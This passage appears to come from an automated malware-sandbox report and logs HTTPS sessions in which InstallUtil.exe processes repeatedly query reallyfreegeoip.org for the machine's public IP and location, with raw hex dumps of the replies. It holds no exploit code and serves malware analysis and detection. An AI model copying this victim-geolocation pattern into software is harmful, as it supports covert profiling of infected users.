2024-09-26 13:11:06 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49725	188.114.96.3	443	7140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:08 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 13:11:08 UTC	682	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:08 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21100 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VziJo7M8h8hWr33YDOehwo%2BS4EdMOPISH6c6Z%2BnH74kMfRdn7jR7pqOE6K0faboq%2BbYArTJN08IlWp9FzUUh3QRMmkW%2Bh5j9N%2BCPr7C8aE9vfQCBiNkDS5RiW%2BkPHsTWYp3IAVzL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c937f87b9398c39-EWR
2024-09-26 13:11:08 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.12	49728	188.114.96.3	443	7140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:11 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 13:11:11 UTC	680	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21103 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wvNMLImPjvRsIyNaou5FXJaa4CRR8%2Ft1WorifIh7SE%2FRSqLPcjbaMlG2BsuB2TSCsVhPqLk7vO8PCxcHV%2B29tpaw8nMFmZfkFjPllBm%2BgfSDBOM1axa67P6Z75efHRXOBid%2BJurv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c937f97481dc47f-EWR
2024-09-26 13:11:11 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.12	49733	188.114.96.3	443	7140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:18 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 13:11:18 UTC	676	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:18 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21110 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=glkge6gKakeM4F3YFzuLzkOv46eQM%2B5VtwJHOfYYUbLAaTxmjsRgRWTiTodnhtq4%2FSJ9w1nKapd5Of5CfbTk1fGgNDBHg7QgbxI%2FBOx7GhYm9DDZQ6AtXxDsfLWAveZNcHPa71AY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c937fc6cf3d2394-EWR
2024-09-26 13:11:18 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.12	49736	188.114.96.3	443	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:27 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 13:11:27 UTC	682	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:27 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21119 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2B%2BYbg1GFjmq7hq3o3aWnjN%2BzxZB1y9X4OxXMkJDQMh4m9BsP29YdWMFtTPs%2Fhi18pT2k1Cu4m4yC4C9CNmB8edUlvJnZrdgInls50P3VRV%2BBl4v2xm56PGip4Cl5taJbf9xS3%2Bk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c937ffece1743cb-EWR
2024-09-26 13:11:27 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.12	49737	188.114.96.3	443	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:29 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 13:11:29 UTC	676	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:29 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21121 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PsysRIrNTUTo5moSxlRSxu1D0TkfMI3TcV82CmdWzzuxoqWZXTJ3qBopJmPnQVLwR%2Fv76GkxTUi6BsPTPlHh%2FTix7nr8a3dWoAAGDZodO4Xyrg7Zp5QLU7v%2FlJxs0ukGIV30fIVV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c93800a4d6bc425-EWR
2024-09-26 13:11:29 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.12	49740	188.114.96.3	443	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:31 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 13:11:31 UTC	682	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:31 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21123 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V8hAWgkXp4XUCiVc0Up4bRsmp4HbIxGraxuEYfkMxIVAj%2B7pcDVKfD0c2nchtR%2B0zLoaGgYJmpv1R%2BuYtWhp%2BQAN%2FWkMikVALMIYNRxtH2YjAzInzYJyaerpnK0ybmTYEYYu1%2FCY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9380182cfa1a2c-EWR
2024-09-26 13:11:31 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.12	49742	188.114.96.3	443	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:32 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 13:11:33 UTC	676	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:33 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21125 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jjAIP1%2FGrdHXZpmafVl3A2UW6vZbwcW1TDg0r4B2hH47Eq0%2F1akrASAEOTBhSitXRS2WUWjOiIhIlP2RgXg6jPwvpY0yZme0ddJWWIHX7dQo2Sbx5wEF9bkk8AjKSK%2BTcQhkxRdY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c93801f985432dc-EWR
2024-09-26 13:11:33 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.12	49743	188.114.96.3	443	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:33 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 13:11:33 UTC	678	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:33 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21125 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=95IQ2q4CmJF7mXUygCIHffZYdhd4eP5Vr%2Ff3vw9KkP0wTpGRAlw1zUjXFh7CQe%2FXtN4Ctz96EljL%2Bfr%2Bm1Fz9lKvGOOfaXKmKtEmsuXBA8U9w5bKdiimOpIZGET0EpGEXOSyaDsK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9380229ad55e6a-EWR
2024-09-26 13:11:33 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.12	49746	188.114.96.3	443	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:36 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 13:11:36 UTC	686	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:36 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21128 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C7YF48qreAIKegrXr9ujdY5%2BQvjeSMsjBABo3Tif2BBw6Rm83Imx%2FMp5Oj%2B2gm7oUPf%2BUf5s9ZJ8J55asq%2F5LWGckOtpZzXXs%2FwyAzAkytiE00Ya7LHuB%2BeyoK0S7%2BY83L0pEuF7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9380377d2f7c8d-EWR
2024-09-26 13:11:36 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.12	49747	188.114.96.3	443	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:37 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 13:11:37 UTC	674	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:37 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21129 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UG%2B0ULNAorXy49n1qB7SiN2K5ygEHVNeym0pvpJoURiSU7TRlm8V06u6no9Yo2QOceiClaSArnkRy5SVGKKImlYrHePiOh%2B4qngmZkaHH14jSZb7z6SRFXdbOyTWr2OwCOyTQkml"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c938038ef45c445-EWR
